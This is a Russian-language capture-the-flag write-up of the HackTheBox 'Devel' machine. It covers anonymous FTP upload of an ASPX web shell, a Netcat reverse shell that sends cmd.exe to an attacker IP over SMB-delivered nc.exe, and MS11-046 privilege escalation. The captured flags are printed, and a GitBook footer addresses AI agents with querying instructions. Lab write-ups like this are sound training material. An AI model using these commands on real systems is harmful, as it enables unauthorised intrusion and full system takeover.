> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Разбор HackTheBox Devel

Разбор Easy Windows-машины HackTheBox Devel, охватывающий анонимный FTP, ASPX web shell, доступ через reverse shell и повышение привилегий MS11-046.

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

{% hint style="warning" %}
**Навыки:**

* Анонимный доступ к FTP
* Загрузка ASPX веб-оболочки
* Повышение привилегий ядра MS11-046
  {% endhint %}

## Разведка

### Настройка рабочей среды

```bash
mkdir Devel
cd !$
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fz4iVahH4VYBfXbpV8eHs%2Fimage.png?alt=media&amp;token=a0ae84a0-2772-45f3-8c0b-915d86d1c057" alt=""><figcaption></figcaption></figure>

### Обнаружение хоста

TTL 128 указывает на то, что целевая система, вероятно, работает под Windows.

```bash
ping -c 1 10.129.5.142
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfXtFculfyTC1h4UN9HA9%2Fimage.png?alt=media&amp;token=4af6e93c-5436-4184-8b0d-487b28fd194f" alt=""><figcaption></figcaption></figure>

### Сканирование портов

Выполните полное TCP-сканирование, чтобы определить открытые порты:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts
```

Порты 21 и 80 открыты.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL9aMeD30tufPJMkutCoR%2Fimage.png?alt=media&amp;token=f15d4e20-1b15-4712-80cc-6657ab1b8033" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLReN6LQqxDeBnqvUTCDb%2Fimage.png?alt=media&amp;token=de6c1850-fb65-4901-8f72-b62cbc97cc2f" alt=""><figcaption></figcaption></figure>

Выполните целевое сканирование, чтобы определить доступные службы:

```bash
nmap -sCV -p80,21 10.129.5.142 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fmnij8THATjZ8g4ZjxIQn%2Fimage.png?alt=media&amp;token=ffff96b7-0056-4268-b883-d0469fd24cb6" alt=""><figcaption></figcaption></figure>

## Начальный доступ

### Анонимный доступ к FTP

FTP принимает анонимную аутентификацию и сопоставляется с веб-сервером на порту 80.

Выведите список каталога FTP после аутентификации:

```bash
ftp anonymous@10.129.5.142
ls
```

Каталог содержит `aspnet_client`, `iisstart.htm`, и `welcome.png`. Это стандартные файлы корня веб-сервера IIS.

Веб-сервер отображает изображение по умолчанию `welcome.png` .

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqJOibaMxPs58pwHfT6W6%2Fimage.png?alt=media&amp;token=fdf8d49e-bd00-4535-b1d3-abac5fe3578c" alt=""><figcaption></figcaption></figure>

Создайте тестовый файл локально и загрузите его, чтобы проверить права на запись:

```bash
echo test > test.txt
put test.txt
```

Загрузка выполняется успешно. Переход по адресу `http://10.129.5.142/test.txt` подтверждает, что загрузки через FTP обслуживаются IIS.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FyYBBE2RzFrpPEW7py7bQ%2Fimage.png?alt=media&amp;token=f607ee4a-13a9-498c-b732-3f4c59ebce47" alt=""><figcaption></figcaption></figure>

### ASPX веб-оболочка

{% embed url="<https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx>" %}

Скачайте ASPX веб-оболочку:

```bash
wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx
```

Загрузите её через FTP:

```bash
put aspx_cmd.aspx
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FE9ttWludWFC2tkuznGAG%2Fimage.png?alt=media&amp;token=3776dbaf-0a57-479a-8a8e-db5d987ae7b5" alt=""><figcaption></figcaption></figure>

Откройте `http://10.129.5.142/aspx_cmd.aspx` для выполнения команд.

Веб-оболочка обеспечивает удалённое выполнение команд:

```bash
whoami

iis apppool\web
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdFKOfuuwj2TPzyodcVbk%2Fimage.png?alt=media&amp;token=40a46aec-a3cd-4c0a-984d-ec62a3e1cdb5" alt=""><figcaption></figcaption></figure>

### Обратная оболочка

Скопируйте `nc.exe` в текущий каталог. Этот двоичный файл создаёт интерактивную оболочку Windows:

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

Запустите SMB-сервер, чтобы расшарить исполняемый файл:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwaC1kzpy1cpgeD5XVZGM%2Fimage.png?alt=media&amp;token=645c4df5-b8a4-49ce-adca-36edc0d36343" alt=""><figcaption></figcaption></figure>

Запустите слушатель на порту 4444:

```bash
sudo rlwrap nc -nvlp 4444
```

Выполните эти команды через веб-оболочку. Первая команда копирует Netcat из SMB-ресурса. Вторая подключается обратно к слушателю:

```bash
copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe
C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fv0OkM4vxZC9YIafJ59ij%2Fimage.png?alt=media&amp;token=60555128-ac81-4ea7-bd7a-2a4c744d830c" alt=""><figcaption></figcaption></figure>

Оболочка работает как `iis apppool\web`. Эта учётная запись имеет ограниченные привилегии.

## Повышение привилегий

### Сведения о системе

```bash
systeminfo
```

Это показывает версию Windows и сведения о системе.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJtacSqDEVkpf5IvAYqm%2Fimage.png?alt=media&amp;token=41d0b418-17d5-46ae-bd4a-42960041c6da" alt=""><figcaption></figcaption></figure>

Целевая система работает под Windows 7 Enterprise.

### MS11-046

`systeminfo` определяет Windows 7 Enterprise, сборка `7600`. Эта не пропатченная версия является кандидатом для известных локальных эксплойтов ядра.

MS11-046 — это уязвимость локального повышения привилегий. Для неё требуется уже имеющееся выполнение кода на хосте. Она не эксплуатирует SMB удалённо.

Используйте эксплойт ядра MS11-046:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

Клонируйте репозиторий с эксплойтом:

```bash
git clone https://github.com/SecWiki/windows-kernel-exploits
```

Перейдите в каталог эксплойта:

```bash
cd windows-kernel-exploits/MS11-046
```

Поделитесь исполняемым файлом с целью через SMB:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFKGLOspF5XXbVzNS0nhu%2Fimage.png?alt=media&amp;token=ed0e4934-9446-4a37-a0b9-4f63a8d7b978" alt=""><figcaption></figcaption></figure>

Скопируйте исполняемый файл из оболочки Windows в каталог с правом записи:

```bash
copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTFuvckB7zhHI6lzyPBiU%2Fimage.png?alt=media&amp;token=1526dd9f-ca48-4372-8029-091686284ad9" alt=""><figcaption></figcaption></figure>

Подтвердите текущего пользователя, затем запустите эксплойт:

```bash
whoami

iis apppool\web
```

```bash
.\ms11-046.exe
```

Эксплойт возвращает `NT AUTHORITY\SYSTEM` оболочку:

```bash
whoami

nt authority\system
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5wMT6aqI3cn98l3oUXLQ%2Fimage.png?alt=media&amp;token=47d2555d-209e-46ed-8f87-f4f94ff750ff" alt=""><figcaption></figcaption></figure>

## Флаги

```bash
type c:\Users\babis\Desktop\user.txt

0efea4c5e140c594ce1ca88594b3d7dc

type c:\Users\Administrator\Desktop\root.txt

3d360ef3c74b5936a51971a8f7383c11
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYohn6XMprPHG4De7A8L7%2Fimage.png?alt=media&amp;token=d6d20faf-f996-41ae-b13c-da2055f3f5ea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
